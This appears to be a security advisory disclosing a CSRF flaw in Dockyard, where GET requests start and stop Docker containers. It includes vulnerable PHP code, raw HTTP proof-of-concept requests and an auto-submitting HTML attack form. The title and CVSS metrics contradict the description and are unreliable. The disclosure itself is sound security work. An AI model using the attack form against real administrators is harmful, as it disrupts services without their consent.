Unauthenticated Cron Endpoint in Dockyard Enables Container Enumeration and Database Manipulation

Moderate **10ij** published **GHSA-jrf6-3j4j-q36g** 1 hour ago

Package

No package listed

Affected versions

v1.0.1

Patched versions

v1.1.0

Description

Summary

During a review and dynamic validation of Dockyard, I found that Docker container start and stop operations are performed through GET requests without CSRF protection. A remote attacker can cause a logged-in administrator's browser to request `/apps/action.php?action=stop&name=<container>` or `/apps/action.php?action=start&name=<container>`, which starts or stops the target container.

This issue was reproduced against the Docker validation environment running at `http://127.0.0.1:18081` by stopping and restarting the test container `dockyard-audit-target`.

Details

The global CSRF guard in `includes/auth.php` only checks POST requests:

```
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !isset($_POST['csrf_token'])) {
    if (basename($_SERVER['PHP_SELF']) !== 'login.php') {
        http_response_code(403);
        die("Security error: form submission failed validation");
    }
} elseif ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['csrf_token'], $_SESSION
    if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
```

```
        http_response_code(403);
        die("Security error: invalid form submission");
    }
}
```

The container action endpoint reads the operation and container name from the query string:

```
$action = $_GET['action'] ?? null;
$name   = $_GET['name'] ?? null;
```

It then performs state-changing Docker operations in response to GET parameters:

```
switch ($action) {
    case 'start':
        $result = $docker->start($name);
        break;

    case 'stop':
        $result = $docker->stop($name);
        break;
}
```

The UI also uses a GET-based HTMX form for the confirmation modal:

```
<form
    id="modal-form"
    hx-get="action.php"
    hx-target="#action-feedback"
>
    <input type="hidden" name="action" id="modal-action" />
    <input type="hidden" name="name" value="<?= htmlspecialchars($name) ?>" />
</form>
```

Because GET requests do not require a CSRF token, a cross-site form submission or top-level navigation can trigger these actions if the victim is logged in.

PoC

To reproduce this issue:

1. Start the Dockyard validation container.
2. Start a harmless target container named `dockyard-audit-target`.
3. Create or use an authenticated administrator session.
4. Send the following GET requests with the administrator session cookie.

The administrator validation session used in the test was:

```
PHPSESSID=admindockyardaudit
```

Before sending the stop request, the target container was running:

```
BEFORE=dockyard-audit-target Up About a minute
```

Stop request:

```
GET /apps/action.php?action=stop&name=dockyard-audit-target HTTP/1.1
Host: 127.0.0.1:18081
User-Agent: audit-client/1.0
Accept: application/json,text/html,*/*
Cookie: PHPSESSID=admindockyardaudit
Connection: close
```

Stop response:

```
HTTP/1.1 200 OK
Content-Type: application/json

{"success":true,"message":"Container action completed successfully."}
```

Container state after the stop request:

```
AFTER_STOP=dockyard-audit-target Exited (137) Less than a second ago
```

Start request:

```
GET /apps/action.php?action=start&name=dockyard-audit-target HTTP/1.1
Host: 127.0.0.1:18081
User-Agent: audit-client/1.0
Accept: application/json,text/html,*/*
Cookie: PHPSESSID=admindockyardaudit
Connection: close
```

Start response:

```
HTTP/1.1 200 OK
Content-Type: application/json

{"success":true,"message":"Container action completed successfully."}
```

Container state after the start request:

```
AFTER_START=dockyard-audit-target Up Less than a second
```

The following attacker-controlled HTML is sufficient to trigger the stop operation from a victim browser that is authenticated to Dockyard:

```
<form method="GET" action="http://127.0.0.1:18081/apps/action.php">
  <input type="hidden" name="action" value="stop">
  <input type="hidden" name="name" value="dockyard-audit-target">
</form>
<script>document.forms[0].submit()</script>
```

Impact

An attacker can cause a logged-in administrator to start or stop Docker containers managed by Dockyard. In a production environment, this can interrupt internal services, trigger denial of service for exposed applications, or start services that operators intended to keep stopped.

The fix is to make all state-changing container actions use POST or another non-safe HTTP method and require a valid CSRF token. The HTMX form should be changed from `hx-get` to `hx-post`, and the server should reject start/stop requests that do not include a valid token.

Severity

Moderate 6.5 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	Low
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CVE ID

CVE-2026-39848

Weaknesses

▶ CWE-306

Credits

kitu232 Reporter